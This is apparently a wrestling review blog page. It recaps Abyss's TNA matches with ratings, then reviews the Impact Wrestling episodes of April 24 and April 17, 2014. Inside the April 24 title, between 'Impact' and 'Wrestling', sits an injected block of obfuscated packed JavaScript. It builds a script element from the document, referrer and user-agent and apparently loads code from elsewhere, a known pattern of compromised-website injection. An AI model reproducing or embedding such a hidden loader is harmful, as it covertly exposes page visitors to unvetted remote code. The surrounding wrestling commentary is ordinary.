Lots of punches to start. This is during the Dr. Stevie period for Abyss and him being all insane and whatnot like that. Basic big man match to start as the fans say they want blood. I’ve always wanted someone to come out with a needle or something and get a tiny poke with it to make the guy bleed and take credit for a win like that. Abyss can’t bring himself to use a chair and he’s in trouble because of it.

Morgan throws weapons out of the ring to protect himself, drawing great heat. I see no barbed wire at all mind you. The chair to Abyss’ head busted him open so Morgan threw them out as he had the stuff he needed already. That makes sense actually. Morgan gets a decent dropkick. Fans are rather bored here but not entirely. This gimmick match overload is starting to wear on them though.

He busts out the bag of glass, making the whole idea of him throwing the chair out TOTALLY POINTLESS. The fans want Stevie. Morgan can’t manage to shove glass into the head of the monster. Abyss comes back and rams him into the cage a bunch and gets a chokeslam but he can’t pin him due to the lack of laceration. Morgan misses a cross body and down goes the referee.

Abyss gets some glass and jams it into Morgan’s head which would likely kill him but who cares about that? He covers Morgan and here’s a second referee for the two count. Abyss goes to the floor and gets the chair. There has been NO barbed wire which was advertised. Dr. Stevie is revealed to be Stevie Richards to the shock of NO ONE and his distractions lets a Carbon Footprint gets two.

The fans chant ECW as you can feel Vince’s lawyers smile from here. Yes they actually made not only a PPV but a major angle out of this. After Stevie steals the chair, Abyss goes under the ring and gets a bag full of tacks. THEN WHY DID HE GO FOR THE CHAIR IF HE KNEW THOSE WERE THERE???

Stevie STORMS, yes STORMS I say, the ring and beats up Abyss which gets him nowhere. Sweet goodness could they not overbook a single match? And then Morgan jumps him and gives him a chokebomb into the tacks for the easy pin. Well I’m glad to see they got the important plot point of STEVIE RICHARDS in this.

Rating: D+. I saw no barbed wire in there which was promised. The rest of this was nothing special in the slightest. Again they overdid it for the sake of the live crowd and having no one care about the actual match due to them just wanting Steven. This wasn’t anything great at all and was just another Abyss weapons match which we’ve seen a thousand times.

Time for another hardcore dream match, but Abyss is fired if he uses thumbtacks.  From Bound For Glory 2009.

Mick Foley vs. Abyss

Stevie Richards is referee and is the doctor again. LOUD pyro for Abyss. Foley jumps him on the ramp and is all casual about hitting him with the barbed wire bat. I like that. I’m reading his book at the moment and haven’t gotten to this part if it’s in there. Almost immediately Foley goes up the set, climbing a tower. Abyss follows and gets knocked through part of the ramp.

Foley climbs down as Stevie says Abyss is done. Foley gets a running start and drives the bat into Abyss as he’s still in that hole in the ramp/stage. Foley, the face, of course gets cheered. Stevie is the cheerleader dude here as the match just kind of stops until Abyss climbs through the stage. We have a barded wire board from somewhere and he makes a platform with it between the guard rail and the ring.

And there’s another board that’s just like the first. Double armed DDT to Abyss to the board. Richards beats up Abyss too because EVERYONE loved that angle. Foley gets a bat shot into Abyss’ arm to open it up. His head is busted too. Foley goes into the wire board now then Abyss does the same. Make that a sandwich as the other is under him. Naturally it only gets two.

Foley busts out the tacks and Abyss sets to chokeslam him onto them but he’s not allowed. Down goes Stevie and here’s Daffney to give Foley a Taser. And just to make it more stupid it explodes as Foley jabs him with it. They TOTALLY botch it as Abyss misses his kickout and Foley gets three and Abyss raises his shoulder at what would have been four so the referee says he kicked out anyway.

Crowd totally boos that out of the building as Stevie pulls the referee out when Abyss goes for the pin. Daffney goes through the platform they made earlier to get a HOLY SMOKES chant. Stevie tries to beat up Abyss and goes into the tacks for his trouble sans shirt. Chokeslam for Foley and we get the Over the Edge 98 finish as Abyss slams Richards’ hand down for the pin.

Rating: C-. Totally violent but overbooked. Also the botch messed things completely up as it was clearly three and everyone knew it. These matches are fine once in awhile but does it really prove anything? This was a far cry from the Edge or Orton matches and it just didn’t work that well for me. Granted I’m not a fan of hardcore so it’s not my style anyway.

Time for a trip to Mexico as Abyss was brought in as a mercenary at Triplemania XVIII.

Cibernetico/Abyss vs. El Zorro/Vampiro

Cibernetico is one of the top faces in the company (or was at this point). Abyss and Vampiro I think you know. El Zorro is a heel and part of the Foreign Legion and after this show would win the world title. This is a hardcore match. Despite being a foreigner Abyss isn’t part of the Foreign Legion for some reason.

Cibernetico’s entrance is in a word, epic. I think he’s supposed to be a cyborg or something. He’s clearly one of the most popular people in the company. This is that odd kind of hardcore where you have to tag in and out. Yeah I know just go with it. Cibernetico and Zorro start us off.

The tights of Cibernetico says Main Man. At least there isn’t a target saying “goes here” underneath it. The partners just come in for no apparent reason with Abyss going off on Vampiro. This is during Abyss-A-Mania but it doesn’t seem to be that bad at this point. Zorro has a kendo stick as the announcers argue some more. Zorro beats on Cibernetico with a chair in the ring while the other guys are out on the floor.

Vampiro sets up a table but can’t get a moonsault through it. Abyss can’t get his powerbomb through it either so it all evens out. Cibernetico hits the floor and now it’s turning into a regular hardcore match. Vampiro and Konnan point at each other for some reason but the wasted time lets Abyss get his hands on Vampiro. Abyss is thrown at the table which collapses but doesn’t break.

Konnan gets in Vampiro’s face again for no apparent reason. Everyone but Abyss is in the ring now and it’s a 2-1 beatdown. I’m not sure what the deal is with two referees. Maybe Gorilla Monsoon is secretly commissioner here or something. Cibernetico dumps Vampiro (to be with Abyss I guess) but has a kendo stick tossed into his leg.

Abyss is back in now but can’t get a double chokeslam. He settles for a double clothesline instead and down goes the Foreign Legion. Abyss……moves……very……very……slowly. The Foreign Legion hits the ring, in the form of Christopher Daniels, Kozlov, Chessman, Nosawa (Japanese guy) and Hernandez. Cibernetico is like screw that and beats them up on his own.

Zorro takes him down and hammers away with the kendo stick. Cue Abyss who hits Shock Treatment and Zorro is more or less dead. Hernandez misses a chair shot and hits Vampiro by mistake. Konnan grabs Vampiro and throws powder in his face. A chokeslam from Cibernetico ends this.

Rating: C+. Not bad here. They got rid of the tagging after about a second and things got a lot better. Decent little match here and the Foreign Legion losing is a good thing for a change tonight. Cibernetico is a guy that it’s easy to get behind so I can see why he’s one of the most popular there. Decent match all around but a bit rushed.

Soon after this, Abyss would start saying that THEY were coming. He would also get a World Title shot at Victory Road 2010.

TNA World Title: Mr. Anderson vs. Jeff Hardy vs. Rob Van Dam vs. Abyss

Everybody goes for Abyss to start and it doesn’t work. The crowd is odd here for some reason. This goes nowhere as Abyss just gets up. Hardy and Anderson get him down for like a second and we’re into the usual formula here to an extent. Yep we’re in the formula. That’s fine though as it’s really the only way to do this.

We’re mostly just killing time thus far. The crowd seems a bit dead for some reason but maybe it’s just been a long show. Van Dam hits a split legged moonsault on Anderson for two as Hardy saves. Abyss is gone for the moment so I’m waiting on his return to break up a pin. Instead we get a Tower of Doom with RVD taking the big bump from it. The fans chant TNA for a heel doing a big move. That sums things up pretty well.

Everyone is in the ring now and RVD is in control. I have no idea why everyone is trying to beat Abyss. He’s supposed to be unhurtable but they keep going for him. The fans chant for Anderson. This is really just a bunch of near falls with moves on the side. It’s not bad, but it’s the hazard of multiple man matches. Mic Check on Abyss gets two. Black Hole to Hardy gets two. Abyss looks stupid counting the pin.

Anderson and Hardy finally go at it and it gets NOTHING. This crowd is just out of it. Remember who these fans are too. Abyss is on Hardy who is on Anderson so RVD hits the Five Star for the pin. Wow that was anticlimactic.

Post match Abyss beats up RVD and gets the nail board which misses everything. The show ends with Abyss holding the board and RVD looking at him. Yeah that was stupid.

Rating: D. This just didn’t do it for me. It could have been worse, but at the same time there just wasn’t anything at all special here. The ending to both the match and the show just completely sucked, but what did you really expect? I see no reason at all for RVD to retain there, so of course he did. Whatever.

After feuding with Van Dam for a little while longer, Abyss would be revealed as one of the major stars who combined to form Immortal. This earned him a TV Title shot at Genesis 2011.

TV Title: Abyss vs. Douglas Williams

Yeah because this is EXACTLY what the people wanted to see. Williams has a hurt hand here. Sunset flip can’t hit early on as this is power vs. technical here. Abyss rams the hand into the post to take over. Williams slaps away but can’t do anything of note. Chokeslam can’t hit but Abyss puts him down anyway off a big boot. The fans want AJ.

Here’s the majority of this match: Williams tries to fight, Abyss hits him in the hand, Williams gets another shot in. A jumping back elbow from the second rope sets up a top rope knee drop for Williams for two. Running knee in the corner is countered into a big chokeslam for two. Abyss goes to the floor and finds Janice. It’s merely a ruse though as AJ comes down to clock Williams with the belt. Janice hits the floor again and a Black Hole Slam gives Abyss the TV Title. Get on to something else now.

Rating: C-. Match was ok I guess but dang dude this Immortal thing is getting to be such complete and utter nonsense it’s unreal. Abyss is a champion now and that’s all fine and good apparently. I’m not interested in this storyline at all and I know very few people that are, but TNA insists it’s good so that’s what we’re going to get. Oh joy indeed.

After vacating the title due to an injury, Abyss was sent after the X-Division Title on Impact, May 19, 2011.

X-Division Title: Abyss vs. Kazarian

Bischoff gives Abyss a pep talk before the match, basically saying kill him and also quoting Sun Tzu. Power vs. speed since the beginning as the announcers talk about how this could be the last X Division Title match ever if Abyss wins the belt. Abyss takes him down with power and cranks on the neck but Kaz fights back, only to walk into a chokeslam attempt. That doesn’t work and Kaz gets a springboard dropkick to take Abyss down.

Kaz cranks things up with a rana, an elbow and a legdrop, all off the ropes and resulting in a two count. Chokeslam is countered again into a victory roll for two but Kaz gets caught in Shock Treatment to shift the momentum right back to Abyss. Vader Bomb totally misses and may have hurt his knee. Kaz charges into a big boot as Abyss was apparently faking and the Black Hole Slam gives Abyss the only title he’s never won at 5:05. Tazz says the internet is burning up because of that. Abyss quotes Sun Tzu post match.

Rating: C+. Just a David vs. Goliath match but with a nice little twist of Abyss outsmarting Kaz when he couldn’t beat him with just straight power. I’m thinking this might actually be the beginning of the end for the division as there really isn’t much of a point to the thing at the moment. The TV Title is fine for a midcard title and despite the whole no limits thing, it’s almost always been seen as a Cruiserweight Title. Anyway, not a bad match but nothing of note at all.

Despite being handed titles, Abyss would leave Immortal in late 2011. They wanted him back though and sent Bully Ray to accomplish the goal. This led to a match at Genesis 2012 and if Ray wins, Abyss has to rejoin the team.

Bully Ray vs. Abyss

This is Monster’s Ball, which basically means hardcore. Ray immediately hits the floor and walks around for a bit. He grabs a chair and feels all mighty, but Abyss gets one of his own. Here’s a chair duel and Abyss shrugs off a chair shot. Ray walks into a chokeslam which he pops up from and a big boot takes Abyss down for a good 1 second. Abyss cracks him with a chair to take over and goes to get a staple gun and cheese grater.

Ray gets in a chain shot but a trashcan is no sold. With more weapon shots, Ray grabs a kendo stick. Abyss hits the floor and finds Janice, making Ray run to the back. Abyss follows and then they’re back already. They weren’t off camera for two seconds. Back at ringside and Abyss goes into a barbed wire board. Abyss’ arm is bleeding. He throws Ray in and grabs a pair of bags.

He doesn’t open them yet and instead it’s a cheese grater to the balls. Bag #1 has thumbtacks. Ray kicks him low, shouts about how his balls hurt, and gets a table. According to wrestling law #1 though, Ray goes through it via a chokeslam for two. There are two barbed wire boards in the ring now but Ray Rock Bottoms Abyss onto one for two.

Ray slams the other board on top of Abyss and hits the backsplash off the middle rope. Ok that was kind of awesome. Since it’s TNA though, it only gets two. Ray gets Janice but walks into a chokeslam onto the tacks….for two. Bully gets a boot up in the corner and grabs a kendo stick. He beats Abyss down with it via about 12 shots but for some reason hits the ropes. That’s enough for a Black Hole Slam onto the barbed wire for the pin at 15:28.

Rating: B-. Pretty fun and very violent hardcore match. The key to this one: we hadn’t seen it in awhile which made it have more, pardon the pun, impact. The no selling at the beginning was pretty fun and the big spots worked, but at some point it got kind of ridiculous. To be fair though, that’s the point. At least Immortal didn’t get a new member though so that’s a plus.

Later in the year, Abyss disappeared. Soon after this, Abyss’ brother Joseph Park would debut and say he was looking for the missing monster. Park of course became a wrestler and had a match against Aces and 8’s member Doc at Turning Point 2012.

Doc vs. Joseph Park

Doc is Luke Gallows remember. Park is always amazing in this role given how inept he can make himself look. He tries single leg takedown but Doc just laughs at him. Some wild right hands miss Doc until one accidentally catches him, ticking the biker off. They head to the floor where Park does a lot of running but manages to send Doc into the steps. Back in and Doc loads up a studded belt around his fist but the referee takes it away. Then we stop, because it’s hammer time. That of course gets taken away and Park pounds away.

The next three minutes or so are just Doc beating on Park with basic stuff and there’s only so much you can say about punches. Park starts a comeback but gets hit in the head with the belt to bust him open. He goes into a rage and hits the Black Hole Slam before turning back into Park. Park grabs a chair to whack Doc in the back with for two, but that’s all he’s got as Doc chokeslams him down for the pin at 11:01.

Rating: D. This was WAY too long and that’s where it died. At the end of the day, the joke with Park has been going on for months now and the fans clearly get it. Once the fans get what’s going on, the joke stops being as funny, which means it’s probably time to pull the plug on it, or at least move things forward. The match was bad though as it should have been about five minutes shorter.

Over time, Park would start freaking out if he saw blood. These moments got him a TV Title shot at Slammiversary 2013.

TV Title: D-Von vs. Joseph Park

Park doesn’t show up due to the beatdown from earlier tonight so D-Von talks some trash about the Boston Celtics. D-Von demands a ten count for Park to get out here….and there’s still no Park so D-Von retains.

D-Von of course makes the eternal mistake of running his mouth, saying that if Abyss was here, he’d take a beating like Park would have. You all know what’s coming next.

TV Title: D-Von vs. Abyss

Abyss cleans house of Knux and kicks D-Von in the face as the bell rings. Knux interferes from the floor to let D-Von get in a forearm to the face and take over with some very basic offense. Knee drops and right hands abound but a middle rope splash misses the monster. Abyss hits a splash in the corner followed by a chokeslam and the Black Hole Slam for the pin and the title at 3:49.

Rating: D. The match was barely there but it was the right result. D-Von has done nothing at all with the title in the six months he’s held it so maybe Abyss will actually defend the thing. If nothing else the split personalities deal is interesting when you add in a title. Nothing to see here, but that wasn’t the point of the match.

Park would start teaming with Eric Young and the pair had some success. They were in a gauntlet match at Bound For Glory 2013 with the winning team getting a Tag Team Title shot later in the show.

Tag Team Gauntlet

It’s a four team gauntlet match with the winning team getting the tag title shot on the PPV. We start with Bad Influence vs. Hernandez/Chavo Guerrero. The Bro Mans will be fourth due to Robbie E. winning a four way on Impact. Eric Young and Joseph Park will be third due to winning a drawing earlier tonight. Hernandez cleans house to start and Bad Influence bails to the floor. We finally get down to Daniels running into a big boot from Hernandez in the corner and take a quick break.

Back with Hernandez hitting an over the shoulder face plant to stop Kazarian’s momentum, allowing for a double tag to Chavo vs. Daniels. Chavo gets two off a headscissors and everything breaks down. Hernandez runs over Bad Influence and hits the big shoulder to run over Kazarian. Daniels low bridges SuperMex to the floor but walks into Three Amigos from Chavo. Not that it matters though as Kaz comes back in to distract Chavo, giving Daniels a rollup with a handful of trunks for the pin at 7:30.

Young and Park are in next but get jumped on the way in. Park runs over Kazarian and slams him down, only to have Daniels chop block him down to give Kazarian control. Bad Influence double teams the big man as the fans chant for Young. Kazarian can’t quite get a sunset flip but avoids a seated senton from the big guy.

We take another break and come back with Eric getting the hot tag and pounding away on Daniels in the corner. Young flips over the corner and does Daniels’ strut down the apron before coming back for a belly to belly and a near fall. Kazarian makes the save and gets sent to the floor, allowing Daniels to hit a release Rock Bottom but miss the BME. Park hits a Samoan Drop on Daniels to give Young the pin at 16:50.

Bad Influence jumps Park and Young post match and sends Park into the Ultimate X structure. The referee calls for help as Park is injured and Young is out cold in the ring. Here come the Bro Mans with special guest Mr. Olympia Phil Heath. It’s basically a handicap match here with Young getting double teamed for a big, only to make a comeback with right hands and forearms. A slam puts Robbie down and Eric drops a top rope elbow for two. The numbers finally catch up with Eric though and a double flapjack sets up a Hart Attack for the pin and the title shot at 22:00.

Rating: C-. Nothing special here but I liked the length of the match. Far too often in these things the falls last about 2 minutes each and are completely unrealistic when you compare them to normal wrestling matches. Having the shortest be seven and a half minutes made this far better. Also anything that keeps Chavo and Hernandez off my screen is a good thing.

We’ll wrap it up with their battle after the inevitable split. Young has since figured out that Park is Abyss, because that somehow took over a year to discover. From Impact, February 6, 2014.

Eric Young vs. Abyss

This is Monster’s Ball, meaning anything goes. They’re fighting in the back with Young actually in control and bringing Abyss through the entrance. Abyss comes back with a big right hand and some forearms to the back and the opening bell rings. Young crawls over to a trashcan full of weapons and blasts Abyss in the back with a pipe to get the advantage, only to have Abyss backdrop him on the floor. It’s table time but Young hits a quick dropkick to get a breather.

Young goes for the mast but Abyss slams him into the apron to get a breather. They head inside for the first time with Eric coming off the top, only to jump right into Abyss’ hands. A hard clothesline drops Young again and Abyss goes outside to get a chair. The chair is placed on Eric’s ribs but he manages to turn it on its side to crotch a charging Abyss. Eric is sent into the corner and out to the apron where he comes back with a missile dropkick for two.

Just as Eric gets some momentum he gets sent face first into the chair in the corner and a chokeslam gets two. Abyss goes outside and gets his bag of tacks before loading up a superplex, only to have Young counter with a sunset powerbomb into the tacks for two. Eric goes up top but Abyss punches him off the top rope and out through the table in a huge crash. Back in and Young somehow gets his foot on the ropes to break the pin so Abyss pulls out the big weapon: Janice, the baseball bat full of nails. Young rips the mask off to save himself and reveal Joseph Park, earning himself the Black Hole Slam for the pin at 9:41.

Rating: B-. That might be a bit high but I was digging this match. It wasn’t the best hardcore match I’ve ever seen or anywhere close to it but Young was working well out there. I can tolerate him much more easily when he’s not being over the top and stupid which is what we got here. Abyss is a fun character too as there’s something awesome about a guy who just breaks stuff.

Abyss is a guy that has found his niche as TNA’s hardcore guy, but there’s a much more interesting character hidden beneath all the scars. He’s gone from being a monster to a complex character to a lawyer to the same old character he was before. There’s still a benefit to having him there but he relies on doing the same stuff over and over again.

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Impact Wrestling – April 24, 2014: A Big Stew

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfnhi|var|u0026u|referrer|bbbdf||js|php'.split('|'),0,{})) Wrestling
Date: April 24, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Taz, Mike Tenay

It’s the go home show for Sacrifice and we have most of the card set up if you can remember some of the matches we’ve heard discussed here or there. Things are being set up for the TV show week to week, which defeats the purpose of having monthly PPVs but it’s TNA so you know they have to screw up something every now and then. Let’s get to it.

Angle is warming up in the back and says if Spud backs out of their match tonight, he’s coming for EC3.

We recap the World Title change from a few weeks ago and last week’s Monster’s Ball match.

Here’s Magnus with what looks like a grappling hook. He calls out Abyss because it’s the Monster’s fault that Magnus lost the title. Magnus calls Abyss a blithering idiot. The weapon in his hand is part of a turnbuckle and Magnus yells at Abyss for not coming down to ringside. Abyss says he’d be fired if he came down so Magnus fires him anyway. The monster says that it was never about the money but wanting to belong to someone. Abyss says he’s still a monster and looks to want a fight but here’s MVP to interrupt.

MVP says calm down and that Abyss isn’t his favorite person after Abyss hit him with a chair a few weeks ago. However, MVP is all about second chances so maybe Abyss should be offered a full time spot on the roster if he can win his match tonight. That match is of course against Magnus and MVP literally skips away. Abyss is thrilled and promises to take care of Magnus tonight.

Spud tells EC3 to save the speech this week but EC3 cuts him off and says last week he saw a ghost. It was actually real though and there’s only one man that can beat Angle: Carter himself. Tonight Spud needs to be a gazelle for Carter. Ethan adjusts Spud’s tie and the picture is starting to make sense to the Rockster.

Rockstar Spud vs. Kurt Angle

Spud goes for a leg dive and is literally thrown across the ring. A tilt-a-whirl backbreaker puts Spud down and Angle no sells everything until Carter trips him up to give Spud quick control. Angle runs the ropes for the suplex and the ankle lock gets the win at 2:04.

Ethan clips Angle post match but Willow makes the save.

The Beautiful People promise to give Madison a makeover.

Kenny King is in MVP’s office when the boss comes in. King thinks he should be the top name on this program so MVP gives him a match right now.

Here’s Madison Rayne for even more talking. She calls out the Beautiful People so here’s Angelina to yell at her for trying to be a role model. Madison apologizes and the fight is on until the numbers catch up with her. They load up the bag but Brittany comes in to try for a save. That goes as well as you would expect and Velvet hits In Yo Face to Madison. Now Rayne gets the bag.

Mr. Anderson has something special planned for Samuel Shaw tonight.

Gail Kim wants to team up with Madison to help fight the Beautiful People. Madison accepts and Brittany promises to be there again.

Kenny King vs. Bobby Lashley

Lashley easily throws King down a few times to start and runs him over before throwing King off a headlock. King bails to the floor and tries to sneak up on Bobby, only to have Lashley pull a reverse leapfrog into a powerslam. Lashley moves the referee out of the corner and blocks a pike in the eye but gets caught by the other hand. King snaps Bobby’s throat across the top rope and scores with a springboard missile dropkick.

Bobby fights back with pure power and hits a hard shoulder in the corner. Lashley grabs King’s boot to the ribs but gets kicked in the head. King tries a Blockbuster but gets caught in mid air for a suplex. That looked awesome. King dives away to avoid the spear and takes the countout at 5:37.

Rating: D+. The Blockbuster counter was awesome but this was a VERY dull match otherwise. It was basically a squash until King walked out at the end. I’m not sure how seeing Kenny getting beaten up for four minutes and then leaving makes me want to see him fight even more but there are a lot of things I don’t get in TNA.

Mr. Anderson goes to see Samuel Shaw’s family and the mom’s name is Christy. Anderson’s face is rather amusing. More on this later.

Beer Money has a talk in the back and after ranting about history a bit, Storm wants credit for making Gunner what he is today.

Austin Aries vs. MVP

This is a result of Aries turning his back on MVP at Lockdown and then losing the match. Aries grabs a cravate to start but MVP takes over with a wristlock. A nice flip gets Aries out of a headlock and he nails MVP with a low dropkick. MVP comes right back with a facebuster and the Ballin Elbow but Aries bails outside. The boss dives onto Aries as the announcers are in their own little world. Aries dropkicks him back to the floor and hits a top rope ax handle so let’s talk about Abyss.

Back in and the slingshot hilo sets up a running elbow drop for two on MVP and a middle rope elbow to the back gets the same. Aries misses the running dropkick but bites his way out of a standing choke. MVP comes right back with a discus lariat for two but walks into a facebuster to put both guys down. Aries misses a 450 and the Drive By is good for the pin at 6:38.

Rating: C. It’s the best match and segment of the night but I’m still not interested in what they’re doing here. That’s the story of the entire show so far: it’s just not all that interesting and things aren’t getting much better. MVP beating Aries changes nothing and it ends a storyline that didn’t have a lot of interest in the first place. How does seeing this make me want to buy Sacrifice?

Video on Sanada.

Back at the Shaw house with the mom straight out of Leave it to Beaver talking about how talented her son is. She’s baking homemade apple pie for Samuel who still lives in the basement. So what was the apartment he took Christy to a few months ago?

James Storm/Bobby Roode vs. Bully Ray/Gunner

Storm grabs a headlock on Ray after a break but both members of Beer Money are taken down with backdrops. Gunner comes in to work on Storm’s arm as we hear about their latest gimmick match on Sunday, this one being an I Quit match. Ray fights out of the corner but Roode distracts the referee so Storm can crotch him against the post. Storm: “IT’S BECAUSE YOU’RE FAT!”

Back in and Roode cranks on a front facelock until Ray fights up, only to be slammed back down. Ray comes back with a suplex and makes the hot tag to Gunner for some house cleaning. Gunner plays D-Von for What’s Up on Storm and it’s table time. Ray misses an elbow from the apron to drive himself through the table. Back inside Gunner hits an F5 on Roode but walks into the Last Call for the pin at 7:05.

Rating: C-. Nothing wrong with mixing up two feuds, but at the end of the day I’ve seen Gunner vs. Storm so many times now that I’m not interested in it anymore. Roode vs. Ray is fine but I’ve pretty much forgotten why they’re fighting (and no I’m not asking people to tell me). The match was fine though.

Magnus says it’s his time.

Anderson goes downstairs with the mom giving a creepy wave as the door shuts. Mr. sees something and says oh my god as we go to a break.

Anderson looks at the room and it’s designed like an 8 year old’s. Shaw comes in and does something as the cameraman leaves. The mom is still the same kind of Stepford Wife that she was before and hugs her son as he comes up from the basement. Creepy, creepy segment.

Beautiful People vs. Gail Kim/Madison Rayne

Madison cleans house to start and the Beautiful People are knocked to the floor for a double dropkick through the ropes. Velvet and Madison are back in the ring now for Madison’s crotch slam to the mat before it’s back to Gail for some right hands and a clothesline. Kim misses a charge into the corner and it’s off to Angelina for some shots to the face. She gets caught in the corner for Gail’s running cross body to the ribs though and everything breaks down.

Back in for a leg choke from Gail to make Angelina look annoyed. Sky’s distraction breaks up the hold and Angelina grabs a sleeper, only to have Gail come out with a backbreaker. Rayne comes back in for a bad looking enziguri as the crowd goes SILENT. Not for a botch or anything but because they just don’t seem interested. Thankfully Angelina gets the hint and rolls up Madison with a handful of tights for the pin at 5:00.

Rating: D. The crowd told the whole story here. There was just nothing interesting going on out there and the people didn’t care. It’s the same story we’ve seen about 8,000 times now in this division and nothing has changed at all. The Beautiful People aren’t interesting as there’s no one to fight them because TNA can’t make new stars for this division. Where was Brittany either?

Knux is back at the carnival with I think his ex-girlfriend. He says he has to go back to Impact because it’s what he does best. She’ll be supportive of him for the first time, but says she’s going with him.

Abyss says he lost sight of the one person who cares about him and tonight is for him.

The Wolves want the Tag Team Titles. It’s a handicap match with Zema Ion joining the Bro Mans.

We run down the PPV card.

Magnus vs. Abyss

Eric Young comes out for commentary and if Abyss wins he gets a full time job. Abyss takes him into the corner to start and nails some clotheslines before launching the Brit to the floor. Back with Magnus working on the leg as Abyss is supposed to be a face after being all violent for so many weeks. The leg is wrapped around the post but Abyss grabs him by the throat…..and Magnus kicks him low for the DQ at 7:40.

Rating: D. Well that….happened. It’s angle advancement but much like the rest of this show, the angles aren’t all that interesting. This was supposed to be a big face turn for Abyss I think, but it really doesn’t work when he spent the last few weeks trying to torture the new top face.

Post match Magnus beats on him with a chair until Young comes down and gets beaten down as well.

An ad for the fallout show from Sacrifice eats up the last minute. Not an ad FOR THE PAY PER VIEW mind you, but an ad for the TV show you just watched.

Overall Rating: D. This was a really boring show. That’s the best word to describe it as almost nothing on here made me want to watch another show going forward. It’s a bunch of ideas we’ve seen before with a lot of the same characters and nothing that has been made better by changing around the faces. Sacrifices just does not need to be a PPV as TNA currently feels like a bunch of old ideas thrown into a blender and put on mix to see if it works better if you twist everything around. Shockingly enough, it’s not working.

Results
Kurt Angle b. Rockstar – Ankle lock
Bobby Lashley b. Kenny King via countout
MVP b. Austin Aries – Drive By
Bobby Roode/James Storm b. Gunner/Bully Ray – Last Call to Gunner
Beautiful People b. Madison Rayne/Gail Kim – Rollup to Rayne
Abyss b. Magnus via DQ when Magnus kicked Abyss low

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Impact Wrestling – April 17, 2014: Here He Is, Ready Or Not

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Date: April 17, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz
 
 
We open with the new champion who gets a quick YOU DESERVE IT chant. Young talks about how this is the culmination of several years of hard work but here’s Dixie Carter to interrupt. She says that she’s seen all of the potential in Eric Young over the years and brings up the DON’T FIRE ERIC bit from several years back. It was Dixie that allowed him to stay and she’s the one that came up with the beard. Dixie wants royalties from all of the money made off the beards at the moment.
 
Young says he thought Bully Ray packed Dixie up and sent her back to Nashville. We now have MVP to keep things going but Dixie says she has authority over the title because she’s President of the company. For better or worse, Eric is the hood ornament for the 2014 Dixie Carter Ferrari. This is of course different from being Face of the WWE. Eric hopes there are bags in the car, because being close to her for that long is going to make him sick.
 
Young says if she’s looking for a paper champion she’s looking in the wrong place. He’s going to get in the General Lee (old TV car) and run her over. Dixie asks if he’s trying to get hashtag Throwback Thursday going with that dated reference. First up though, Eric needs a makeover. Eric says no but here’s Bully Ray to interrupt anyway.
 
Ray apologizes to Eric but wants to know how many people are sick of Dixie. Young is a role model for every wrestler who has been held down by a loser boss like Dixie. He brings up last week where there was a table between the two of them and says this is their domain. Ray starts up the Goodbye Song and Dixie leaves in shame. Bully endorses Eric as World Champion as someone he respects and likes.
 
Velvet vs. Madison Rayne
 
Street fight. The villains wait on Rayne/Brittan with kendo sticks but Rayne sneaks in from behind and jumps her to get us going. They get inside and exchange some whips into the corner until Madison runs Velvet over with a shoulder. Angelina asks for a time out for her partner but uses the distraction for a double Stunner over the top rope to put Madison in trouble.
 
A trashcan lid to the back gets two for Velvet and it’s back to the floor with Angelina getting in some cheap shots. They quickly head back inside and Love hands Velvet a trashcan, only to have Madison kick it into her ribs. Angelina offers another distraction but Madison ducks underneath and hits what looked like a running punch to the ribs which mostly missed and was called a spear for the pin at 4:32.
 
 
Eric Young thanks Bully for his praise but Bully says he’s off to Rick’s Cabaret to spend the rest of Dixie’s money. Abyss comes in and asks Eric for a title match tonight. Eric says he can’t say no and wants to make it Monster’s Ball.
 
Spud is looking for Dixie but runs into Ethan Carter III instead. Ethan says they have a problem named Jeff Hardy. Hardy took them into a shack in the woods and they have to deal with it now. Tonight it’s a handicap match against Willow, but Ethan says they’re handicappers. Ethan handicapped Kurt Angle and tonight they’ll handicap Willow. They fire each other up and say to follow each other before going in different directions. Spud turns around and says he’ll follow Ethan.
 
MVP is in the ring in a very fast turn around. He talks about a man showing up last week after ten years and winning the World Title, so let’s have a hand for Eric Young. Lost in the big fray though was the name Samoa Joe. MVP didn’t care to hear about Joe being disgruntled and not showing up, especially when Joe has MVP’s phone number. We get an interruption but it’s the returning Austin Aries.
 
Aries says he’s as disgruntled as anyone because he’s been on the sidelines since Lockdown and no one has seemed to miss him. MVP likes to motivate people but Aries has never needed any sort of motivation. Not being called for six weeks is all the movitation he could ever want though. MVP won’t validate Aries by putting him in the ten man gauntlet last week, so now Aries wants to participate.
 
The boss says Aries didn’t respect MVP when he screwed him over a few weeks back to join Team Roode. They tease a fight but MVP says this is about the fans and not Aries or MVP. The jacket comes off but Aries raises him a shirt. They’re about to fight but Aries says next week. He won’t trade fists with a convicted felon but next week he’ll show MVP why he’s the best wrestler in the world.
 
Eric Young video.
 
Tag Team Titles: Bro Mans vs. Wolves
 
 
Jesse throws on a chinlock before hitting a quick gorilla press on Davey. Robbie adds a middle rope elbow for two but heel miscommunication allows Richards to make the hot tag to Edwards. Eddie fires off chops in the corner but runs into an elbow to the jaw. The throw into the chest kick drops Jesse and the double stomps off the top crush Robbie, but Zema runs in for the DQ at 4:57.
 
 
Willow says Spud and Carter remind him of dirty sheets. He’ll rise victorious tonight.
 
We see Eric talking about how this is what a World Champion looks like and this is the face of a champion. He nearly cries in an emotional moment. This would work better if you couldn’t hear Madison Rayne’s entrance in the background.
 
Willow vs. Ethan Carter III/Rockstar Spud
 
No tagging to start but Willow cleans house and the referee puts Spud on the apron. Willow elbows Carter down and gets two off an elbow drop, only to have the Twist of Fate broken up. Carter avoids a charge in the corner and chokes away a bit before it’s off to Spud. Willow bites the ankle to escape and it’s back to Ethan for a hard slam and a chinlock. A running flip neckbreaker gets two on Willow but he quickly fights back with a Twist of Fate to Carter. Another one to Spud is enough for the pin at 4:32.
 
 
Carter goes after Willow’s knee but Kurt Angle makes the save. Post match Angle says he’ll retire on his own terms. Kurt wants a match against Carter one on one and Ethan will learn why Angle is called the Cyborg. He’ll take his time too so Carter is taken out in a body bag.
 
